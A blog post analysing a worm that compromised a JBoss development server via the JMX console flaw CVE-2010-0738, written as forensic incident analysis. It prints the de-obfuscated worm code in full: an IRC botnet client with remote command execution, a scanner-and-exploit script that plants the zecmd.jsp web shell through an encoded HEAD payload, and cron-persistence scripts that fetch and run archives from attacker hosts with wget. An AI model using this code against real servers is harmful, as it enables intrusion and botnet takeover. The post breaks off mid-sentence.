Recently a friend of mine called me to investigate a hacked development server he had for some JBoss application development. I didn’t have enough time so I just cleaned up the server since it was an automated attack and informed him of its status.



Now that I found some time I can write this blog post. Just for clarification, if this was a 0day or some sophisticated hack I would never disclose any information, but since this is a very common, already known, automated attack I’m publishing this blog post.



After logging into the server it was pretty obvious that this was either a script kiddie or an automated/worm/virus attack just by checking the running processes with ‘ps’.



javadev 1779 0.0 0.0 106092 1192 pts/2 S Feb01 0:00 sh -c ./pns -r JBoss -w "HEAD / HTTP/1.0\r

\r

" -t 6001 100.28.0.0/16 8080 > /tmp/sess_0088025413980486928597bf100 javadev 1780 0.0 0.0 106096 684 pts/2 S Feb01 0:00 sh -c ./pns -r JBoss -w "HEAD / HTTP/1.0\r

\r

" -t 6001 100.28.0.0/16 8080 > /tmp/sess_0088025413980486928597bf100 javadev 2145 0.0 0.0 106092 1336 pts/2 S Feb01 0:00 sh -c mkdir ...;cd ...;wget http://myiphone.dyndns-pics.com/a.tar.gz;tar xzf a.tar.gz;sh alfa.sh javadev 2147 0.0 0.0 133856 1880 pts/2 S Feb01 0:00 wget http://myiphone.dyndns-pics.com/a.tar.gz root 14722 0.0 0.0 97788 3848 ? Ss Jan12 0:00 sshd: javadev [priv] javadev 14725 0.0 0.0 97788 1732 ? S Jan12 0:00 sshd: javadev@pts/1 javadev 14726 0.0 0.0 108332 1908 pts/1 Ss+ Jan12 0:00 -bash

The first thing I did was to download a.tar.gz on my workstation in order to check it out. From a quick look at this it doesn’t seem like a serious hack. As I said earlier, it’s either a script kiddie or almost certainly some automated attack. The obvious thing to check next based on the simplicity of the attack is how it re-spawns new processes to download the new binaries and execute them.



A quick look in ‘/var/spool/cron/javadev’ file reveals the following cronjobs for the unprivileged user that was running the JBoss Application Server…



[root@somewhere ~]# cat /var/spool/cron/javadev 1 1 10 * * ~/.sysdbs 1 1 24 * * perl ~/.sysync.pl 1 1 24 * * perl ~/.sysync.pl 1 1 10 * * ~/.sysdbs [root@somewhere ~]#

And by moving to ‘javadev’ user’s home directory I found ‘.sysync.pl’ which was a very simple Perl script slightly obfuscated (no new lines) which you can see here (de-obfuscated):



#!/usr/bin/perl use IO::Socket::INET; my $time=time(); $time=~/(.*)\d\d\d\d/; $i=int($1)*2; my $processo = "/usr/share/apache/bin/httpsd"; my $pid=fork; exit if $pid; $0="$processo"." "x16; my @sops =("localhost","iscvadimswallows.dyndns.biz","webstatzz.twilightparadox.com","westatzo.dyndns-remote.com","suyeifd.dyndns.info","killbilll.twilightparadox.com","myfivecents.dyndns-web.com","its".$i."s.dyndns.info","itsthe".$i."d.strangled.net","eventuallydown.dyndns.biz","localhosting.dyndns.info"); my $port=2020*4; my $chan="#jbs"; my $boxing = `uname -a`; $user = `whoami`; $boxing =~ s/\r//g; $boxing =~ s/

//g; $boxing =~ s/ //g; $boxing =~ s/\s//g; $user =~ s/\r//g; $user =~ s/

//g; $user =~ s/ //g; $user =~ s/\s//g; while(1) { retry: my $nick="efd[".int(rand(999999999))."]"; close($sk); my $server = ""; while(length($server)<10) { $server = $sops[int(rand(12))]; } sleep(3); my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry; $sk->autoflush(1); print $sk "POST /index.php HTTP/1.1\r

Host: $server:$port\r

User-Agent: Mozilla/5.0\r

Content-Length: 385256291721361\r

\r

file1=MZ%90%0a%0d\r

"; print $sk "NICK $nick\r

"; print $sk "USER ".$user." 8 * : ".$user."\r

"; while($line = <$sk>) { $line =~ s/\r

$//; if ($line=~ /^PING \:(.*)/) { print $sk "PONG :$1\r

"; } if($line =~ /welcome\sto/i) { sleep(2); print $sk "JOIN $chan\r

"; sleep(1); print $sk "PRIVMSG $chan :UserName=$boxing\r

"; } if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/) { $owner=$line; $de=$2; if($owner=~/iseee/gi) { @shell=`$de`; foreach $line (@shell) { sendsk($sk, "PRIVMSG iseee :$line\r

"); sleep(1); } } } if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/) { $owner=$line; $url=$2; $mult=$3; if($owner=~/iseee/gi) { $url=~/http:\/\/(.*)\/(.*)/g; for($xz=0; $xz<=$mult; $xz++) { system("curl ".$url.">/dev/null&"); `curl "$url">/dev/null&`; system("wget ".$url.">/dev/null&"); `wget "$url">/dev/null&`; system("wget $url>/dev/null&"); } sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r

"); } } if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/) { $owner=$line; $url=$2; $ddata=$3; if($owner=~/iseee/gi) { $url=~/http:\/\/(.*)\/(.*)/g; $host=$1; $path=$2; my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80); print $sck "POST /$path HTTP/1.0\r

" . "Host: $host\r

" . "Connection: close\r

" . "Content-Length: ".length($ddata)."\r

\r

".$ddata; sleep(1); close($sck); sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r

"); } } } } sub sendsk() { if ($#_ == 1) { my $sk = $_[0]; print $sk "$_[1]

"; } else { print $sk "$_[0]

"; } }

This is a very straightforward botnet client code that follows this algorithm:

1) Set username to efd[]

2) Obtain randomly a server of the ones defined in @sops if not hardcoded

3) Wait for 3 seconds and open a connection to this server on port 8080/tcp

4) Send an HTTP POST request (probably used for identification by the server to enable IRC communication)

5) Send NICK IRC command to set the previously defined username

6) Enter the IRC main loop

7) If you receive a PING respond with a PONG to keep the IRC connection alive

8) If you reveive a “welcome” message, join IRC channel #jbs and send the ‘uname -a’ output (with no spaces or new lines)

9) If you receive a message from user ‘iseee’ in the format of “.rsh [command]”, execute it in a shell and send back the output

10) If you receive a message from user ‘iseee’ in the format of “.get [URL] [times]”, download using ‘curl’ or ‘wget’ the provided URL and send back the location of the file

11) If you receive a message from user ‘iseee’ in the format of “.post [URL] [Bytes]”, connect to the given URL on port 80/tcp and send a HTTP POST request with “Content-Length” of the number of Bytes given in the IRC message



This overall simple IRC botnet client is executed through CRON so at least now we know what we are dealing with. Unfortunately, determining how the attacker got access was difficult since JBoss didn’t have any logging (it was just a development server).

However, from personal experience I was fairly convienced that this was the all time classic CVE-2010-0738 and a quick look in /home/javadev/jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml proves me right…



<!-- A security constraint that restricts access to the HTML JMX console to users with the role JBossAdmin. Edit the roles to what you want and uncomment the WEB-INF/jboss-web.xml/security-domain element to enable secured access to the HTML JMX console. --> <security-constraint> <web-resource-collection> <web-resource-name>HtmlAdaptor</web-resource-name> <description>An example security config that only allows users with the role JBossAdmin to access the HTML JMX console web application </description> <url-pattern>/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>JBossAdmin</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> <realm-name>JBoss JMX Console</realm-name> </login-config>

For further information on this vulnerability you can check “Bypassing Web Authentication and Authorization with HTTP Verb Tampering” presentation by Arshan Dabirsiaghi of Aspect Security.



Regardless of the botnet, we could see in ‘ps’ above that it was also running some ‘pns’ executable. This is part of the ‘a.tar.gz. binary that it was downloading. So, let’s have a look at this one…



[root@satan jbosshack]# tar xfvz a.tar.gz bm.c bm.h install-sh ipsort version.c Makefile fix.pl pnscan.c alfa.sh treat.sh b.pl [root@satan jbosshack]# ls -l total 54 -rwxrwx---. 1 root root 97 Feb 3 00:38 alfa.sh -rwxrwx---. 1 root root 12597 Feb 10 10:46 a.tar.gz -rwxrwx---. 1 root root 3229 Mar 25 2002 bm.c -rwxrwx---. 1 root root 460 Mar 23 2002 bm.h -rwxrwx---. 1 root root 4183 Feb 3 20:34 b.pl -rwxrwx---. 1 root root 2692 Jan 28 05:15 fix.pl -rwxrwx---. 1 root root 5598 Mar 25 2002 install-sh -rwxrwx---. 1 root root 132 Mar 22 2002 ipsort -rwxrwx---. 1 root root 1680 Jan 28 05:13 Makefile -rwxrwx---. 1 root root 19774 Jan 28 05:16 pnscan.c -rwxrwx---. 1 root root 1365 Feb 3 19:58 treat.sh -rwxrwx---. 1 root root 25 Mar 25 2002 version.c [root@satan jbosshack]#

Using the information of ‘ps’ shown in the beginning we can see that it follows this order:

1) Make directory named ‘…’ in hacked user’s home directory and move to that directory

2) Download ‘a.tar.gz’ from http://myiphone.dyndns-pics.com/a.tar.gz using ‘wget’

3) Extract ‘a.tar.gz’ to ‘xzf’ directory

4) Execute ‘alfa.sh’ shell script



Based on this we will first have to take a look at ‘alfa.sh’ shell script.



killall -9 perl rm -f *.txt.* rm -f *.txt rm -f *.htm* killall -9 pns killall -9 perl perl b.pl

So, this means that the next script we will have to look at is ‘b.pl’ Perl script. All the newlines were removed as a basic obfuscation. Here is a cleaner version of it.



#!/usr/bin/perl use IO::Socket; my $mm=`ps aux | grep /usr/local/bin/javad | grep -v grep`; $ii=`whoami`; system("sh treat.sh&"); if(length($mm)>260) { die; } my $pr = "/usr/bin/javad"; my $pi=fork; exit if $pi; $0="$pr"." "x16; `make lnx`; system("perl fix.pl&"); system("make lnx"); system("rm -f treat.sh;rm -f *.tar.gz;rm -f *.tar.gz.*;rm -f b.pl;rm -f alfa.sh"); $tt = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r

\r

"; while(1) { $px=int(rand(255)); $fl="/tmp/sess_0088025413980486928597bf$px"; $pie=int(rand(255)); $coin=int(rand(101)); if($coin<=49) { $port=80; } else { $port=8080 } $syc="./pns -r JBoss -w \"HEAD / HTTP/1.0\\r\

\\r\

\" -t 6001 $px.$pie.0.0/16 $port > $fl"; system($syc); open FILE, "$fl" or die; my @tra = <FILE>; close(FILE); foreach $pos (@tra) { $pos=~s/\)//; $pos=~s/\(//; $pos=~/(.*)\.(.*)\.(.*)\.(.*)\s\s(.*):\s(.*)80\s/g; $it="$1.$2.$3.$4"; $it=~s/\s//g; $it=~s/ //g; $it=~s/\t//g; my $crp = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto np; print $crp $tt; $pg = ""; $pg .= $_ while <$crp>; sleep(1); if($pg=~/200/||$pg=~/500/) { my $sk = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; print $sk "GET /zecmd/zecmd.jsp HTTP/1.0\r

Connection: Close\r

\r

"; $pg = ""; $pg .= $_ while <$sk>; if($pg=~/comments/g) { my $ska = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; print $ska "GET /zecmd/zecmd.jsp?comment=wget+http://myiphone.dyndns-pics.com/a.tar.gz HTTP/1.0\r

Connection: Close\r

\r

"; sleep(3); close($ska); my $skb = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; print $skb "GET /zecmd/zecmd.jsp?comment=tar+xzvf+a.tar.gz HTTP/1.0\r

Connection: Close\r

\r

"; sleep(2); close($skb); my $skd = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; print $skd "GET /zecmd/zecmd.jsp?comment=sh+alfa.sh HTTP/1.0\r

Connection: Close\r

\r

"; sleep(2); close($skd); } np: close($crp); } nta: close($sk); } }

And if you don’t want to read the code, here is what it does:

1) It executes ‘treat.sh’ as a background process

2) If ‘/usr/local/bin/javad’ is already running, it exits

3) Executes Perl script ‘fix.pl’ as a background process

4) Compiles the C files using the included ‘Makefile’ (this time for Linux (see ‘lnx’ argument))

5) Removes ‘*.tar.gz’, ‘treat.sh’, ‘*.tar.gz.*’, ‘b.pl’ and ‘alfa.sh’ files

6) Runs ‘pns’ with options ‘-r JBoss’ (search for this response string), ‘-w “HEAD HTTP/1.0″‘ (write this request string), ‘-t 6100’ (connect/read/write time-out in milliseconds) on ports either 80 or 8080 (randomly selected) against hosts XXX.XXX.0.0/16 where XXX is a random integer from 0 to 255 and saves the result to ‘/tmp/sess_0088025413980486928597bfXXX’ where XXX is a random integer from 0 to 255.

7) Parses the output file

8) If it finds a vulnerable host, it is attacking to it by sending the malicious HEAD request to its JMX console

9) If the server responds with a 200 or 500 code, then sends a ‘GET /zecmd/zecmd.jsp’ request to see if it was successfully infected

10) If this is the case, it uses ‘comments’ parameter to download, extract and execute ‘a.tar.gz’ to the remote host as it did on this one



This means that in order to better understand the worm we have to first see what ‘treat.sh’ shell script does. Again, the script was slightly modified/obfuscated but nothing really special. Here is the de-obfuscated ‘treat.sh’ shell script.



#!/bin/bash echo '#include <stdio.h>' > sysdbss.c; echo 'int x=0;' >> sysdbss.c; echo 'int main()' >> sysdbss.c; echo '{' >> sysdbss.c; crontab -l|sort|uniq > /tmp/myc; echo 'system("wget http://blacknbluesky.strangled.net/a.tar.gz");' >> sysdbss.c; echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c; echo 'system("perl b.pl");' >> sysdbss.c; echo 'system("rm -f a.tar.gz");' >> sysdbss.c; cat fix.pl > ~/.sysync.pl; echo 'for(x=0;x<=432;x++)' >> sysdbss.c; echo '{' >> sysdbss.c; echo 'sleep(200);' >> sysdbss.c; echo '}' >> sysdbss.c; echo 'system("wget http://gettingz.strangled.net/a.tar.gz");' >> sysdbss.c; echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c; echo '1 1 24 * * perl ~/.sysync.pl' >> /tmp/myc; echo 'system("perl b.pl");' >> sysdbss.c; chmod +x ~/.sysync.pl; echo 'system("rm -f a.tar.gz");' >> sysdbss.c; echo 'for(x=0;x<=432;x++)' >> sysdbss.c; echo '{' >> sysdbss.c; echo 'sleep(200);' >> sysdbss.c; echo '}' >> sysdbss.c; echo 'system("wget http://redtapeworks.dyndns.info/a.tar.gz");' >> sysdbss.c; echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c; echo 'system("perl b.pl");' >> sysdbss.c; echo '1 1 10 * * ~/.sysdbs' >> /tmp/myc; echo 'system("rm -f a.tar.gz");' >> sysdbss.c; echo 'return 0;' >> sysdbss.c; echo '}' >> sysdbss.c; gcc sysdbss.c -o ~/.sysdbs; chmod +x ~/.sysdbs; rm -f sysdbss.c; crontab /tmp/myc; rm -f *.tar.gz; rm -f /tmp/myc; rm -f *.tar.gz.*; rm -f treat.sh

And here is what this one does:

1) Constructs file ‘sysdbss.c’

2) File ‘fix.pl’ is copied to ‘~/.sysync.pl’ and the latter file’s permissions are changed to be executable

3) The cronjobs (we saw earlier) is prepared and installed in cron (temporarily stored in /tmp/myc)

4) ‘sysdbss.c’ is compiled using gcc and installed in ‘~/.sysdb’

5) All the temporary files and initial scripts are removed



The constructed ‘sysdbss.c’ file is the following:



#include <stdio.h> int x=0; int main() { system("wget http://blacknbluesky.strangled.net/a.tar.gz"); system("tar xzvf a.tar.gz"); system("perl b.pl"); system("rm -f a.tar.gz"); for(x=0;x<=432;x++) { sleep(200); } system("wget http://redtapeworks.dyndns.info/a.tar.gz"); system("tar xzvf a.tar.gz"); system("perl b.pl"); system("rm -f a.tar.gz"); return 0; }

By now we know exactly what files have been altered, how was our system infected as well as how the worm is spreading and what is used for. However, we still miss some crucial points. Let’s see how the vulenrability was exploited. We have the malicious HTTP payload which is URL encoded. Here is the encoded one:

HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r

\r



And here is the decoded one in a more readable form…



HEAD /jmx-console/HtmlAdaptor action=invokeOpByName name=jboss.admin:service=DeploymentFileRepository methodName=store argType=java.lang.String arg0=zecmd.war argType=java.lang.String arg1=zecmd argType=java.lang.String arg2=.jsp argType=java.lang.String arg3= <%@ page import="java.util.*,java.io.*"%> <% %> <HTML> <BODY> <FORM METHOD="GET" NAME="comments" ACTION=""> <INPUT TYPE="text" NAME="comment"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("comment") != null) { out.println("Command: " + request.getParameter("comment") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY> </HTML> argType=boolean arg4=True HTTP/1.0\r

\r



It’s a call to invokeOpByName() routine with request type of “DeploymentFileRepository” in order to deploy a new WAR file named ‘zecmd.war’ that includes a JSP web page named ‘zecmd.jsp’ which is a common JSP based shell that executes anything passed to it through “comment” parameter. This is using the misconfigured JMX console we saw earlier to execute this HEAD request and install this JSP backdoor.



Now that we also know exactly how system was exploited the only thing left is to check out the rest of the files that are used in this worm. Just for reference, here is the ‘Makefile’ used to compile the C programs included in the TAR archive.



# Makefile for pnscan DESTDIR=/usr/local BINDIR=$(DESTDIR)/bin MANDIR=$(DESTDIR)/man MAN1DIR=$(MANDIR)/man1 TAR=tar GZIP=gzip MAKE=make INSTALL=./install-sh ## Solaris 8 with Gcc 3.0 GSO_CC=gcc -Wall -g -O -pthreads GSO_LDOPTS= GSO_LIBS= -lnsl -lsocket ## Solaris 8 with Forte C 6.2 SOL_CC=cc -mt -O SOL_LDOPTS= SOL_LIBS= -lpthread -lnsl -lsocket ## Linux 2.4 with Gcc 2.96 LNX_CC=gcc -Wall -g -O LNX_LDOPTS=-Wl,-s LNX_LIBS=-lpthread -lnsl OBJS = pnscan.o bm.o version.o default: @echo 'Use "make SYSTEM" where SYSTEM may be:' @echo ' lnx (Linux with GCC)' @echo ' gso (Solaris with GCC v3)' @echo ' sol (Solaris with Forte C)' @exit 1 lnx linux: @$(MAKE) all CC="$(LNX_CC)" LIBS="$(LNX_LIBS)" LDOPTS="$(LNX_LDOPTS)" gso: @$(MAKE) all CC="$(GSO_CC)" LIBS="$(GSO_LIBS)" LDOPTS="$(GSO_LDOPTS)" sol solaris: @$(MAKE) all CC="$(SOL_CC)" LIBS="$(SOL_LIBS)" LDOPTS="$(SOL_LDOPTS)" all: pnscan man: pnscan.1 ipsort.1 pnscan.1: pnscan.sgml docbook2man pnscan.sgml ipsort.1: ipsort.sgml docbook2man ipsort.sgml pnscan: $(OBJS) $(CC) $(LDOPTS) -o pns $(OBJS) $(LIBS) version: (PACKNAME=`basename \`pwd\`` ; echo 'char version[] = "'`echo $$PACKNAME | cut -d- -f2`'";' >version.c) clean distclean: -rm -f *.o *~ pnscan core manpage.* \#* dist: distclean version (PACKNAME=`basename \`pwd\`` ; cd .. ; $(TAR) cf - $$PACKNAME | $(GZIP) -9 >$$PACKNAME.tar.gz) install: install-bin install-man install-bin: all $(INSTALL) -c -m 755 pns $(BINDIR) $(INSTALL) -c -m 755 ipsort $(BINDIR) install-man: man $(INSTALL) -c -m 644 pnscan.1 $(MAN1DIR) $(INSTALL) -c -m 644 ipsort.1 $(MAN1DIR) install-all install-distribution: install

Here is the ‘install-sh’ shell script.



#!/bin/sh # # install - install a program, script, or datafile # This comes from X11R5 (mit/util/scripts/install.sh). # # Copyright 1991 by the Massachusetts Institute of Technology # # Permission to use, copy, modify, distribute, and sell this software and its # documentation for any purpose is hereby granted without fee, provided that # the above copyright notice appear in all copies and that both that # copyright notice and this permission notice appear in supporting # documentation, and that the name of M.I.T. not be used in advertising or # publicity pertaining to distribution of the software without specific, # written prior permission. M.I.T. makes no representations about the # suitability of this software for any purpose. It is provided "as is" # without express or implied warranty. # # Calling this script install-sh is preferred over install.sh, to prevent # `make' implicit rules from creating a file called install from it # when there is no Makefile. # # This script is compatible with the BSD install script, but was written # from scratch. It can only install one file at a time, a restriction # shared with many OS's install programs. # set DOITPROG to echo to test this script # Don't use :- since 4.3BSD and earlier shells don't like it. doit="${DOITPROG-}" # put in absolute paths if you don't have them in your path; or use env. vars. mvprog="${MVPROG-mv}" cpprog="${CPPROG-cp}" chmodprog="${CHMODPROG-chmod}" chownprog="${CHOWNPROG-chown}" chgrpprog="${CHGRPPROG-chgrp}" stripprog="${STRIPPROG-strip}" rmprog="${RMPROG-rm}" mkdirprog="${MKDIRPROG-mkdir}" transformbasename="" transform_arg="" instcmd="$cpprog" chmodcmd="$chmodprog 0755" chowncmd="" chgrpcmd="" stripcmd="" rmcmd="$rmprog -f" mvcmd="$mvprog" src="" dst="" dir_arg="" while [ x"$1" != x ]; do case $1 in -c) instcmd="$cpprog" shift continue;; -d) dir_arg=true shift continue;; -m) chmodcmd="$chmodprog $2" shift shift continue;; -o) chowncmd="$chownprog $2" shift shift continue;; -g) chgrpcmd="$chgrpprog $2" shift shift continue;; -s) stripcmd="$stripprog" shift continue;; -t=*) transformarg=`echo $1 | sed 's/-t=//'` shift continue;; -b=*) transformbasename=`echo $1 | sed 's/-b=//'` shift continue;; *) if [ x"$src" = x ] then src=$1 else # this colon is to work around a 386BSD /bin/sh bug : dst=$1 fi shift continue;; esac done if [ x"$src" = x ] then echo "install: no input file specified" exit 1 else true fi if [ x"$dir_arg" != x ]; then dst=$src src="" if [ -d $dst ]; then instcmd=: chmodcmd="" else instcmd=mkdir fi else # Waiting for this to be detected by the "$instcmd $src $dsttmp" command # might cause directories to be created, which would be especially bad # if $src (and thus $dsttmp) contains '*'. if [ -f $src -o -d $src ] then true else echo "install: $src does not exist" exit 1 fi if [ x"$dst" = x ] then echo "install: no destination specified" exit 1 else true fi # If destination is a directory, append the input filename; if your system # does not like double slashes in filenames, you may need to add some logic if [ -d $dst ] then dst="$dst"/`basename $src` else true fi fi ## this sed command emulates the dirname command dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` # Make sure that the destination directory exists. # this part is taken from Noah Friedman's mkinstalldirs script # Skip lots of stat calls in the usual case. if [ ! -d "$dstdir" ]; then defaultIFS=' ' IFS="${IFS-${defaultIFS}}" oIFS="${IFS}" # Some sh's can't handle IFS=/ for some reason. IFS='%' set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` IFS="${oIFS}" pathcomp='' while [ $# -ne 0 ] ; do pathcomp="${pathcomp}${1}" shift if [ ! -d "${pathcomp}" ] ; then $mkdirprog "${pathcomp}" else true fi pathcomp="${pathcomp}/" done fi if [ x"$dir_arg" != x ] then $doit $instcmd $dst && if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi else # If we're going to rename the final executable, determine the name now. if [ x"$transformarg" = x ] then dstfile=`basename $dst` else dstfile=`basename $dst $transformbasename | sed $transformarg`$transformbasename fi # don't allow the sed command to completely eliminate the filename if [ x"$dstfile" = x ] then dstfile=`basename $dst` else true fi # Make a temp file name in the proper directory. dsttmp=$dstdir/#inst.$$# # Move or copy the file name to the temp name $doit $instcmd $src $dsttmp && trap "rm -f ${dsttmp}" 0 && # and set any options; do chmod last to preserve setuid bits # If any of these fail, we abort the whole thing. If we want to # ignore errors from any of these, just make sure not to ignore # errors from the above "$doit $instcmd $src $dsttmp" command. if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && # Now rename the file to the real destination. $doit $rmcmd -f $dstdir/$dstfile && $doit $mvcmd $dsttmp $dstdir/$dstfile fi && exit 0

And ‘ipsort’ is a one-line command to sort files using IPv4 addresses like this:



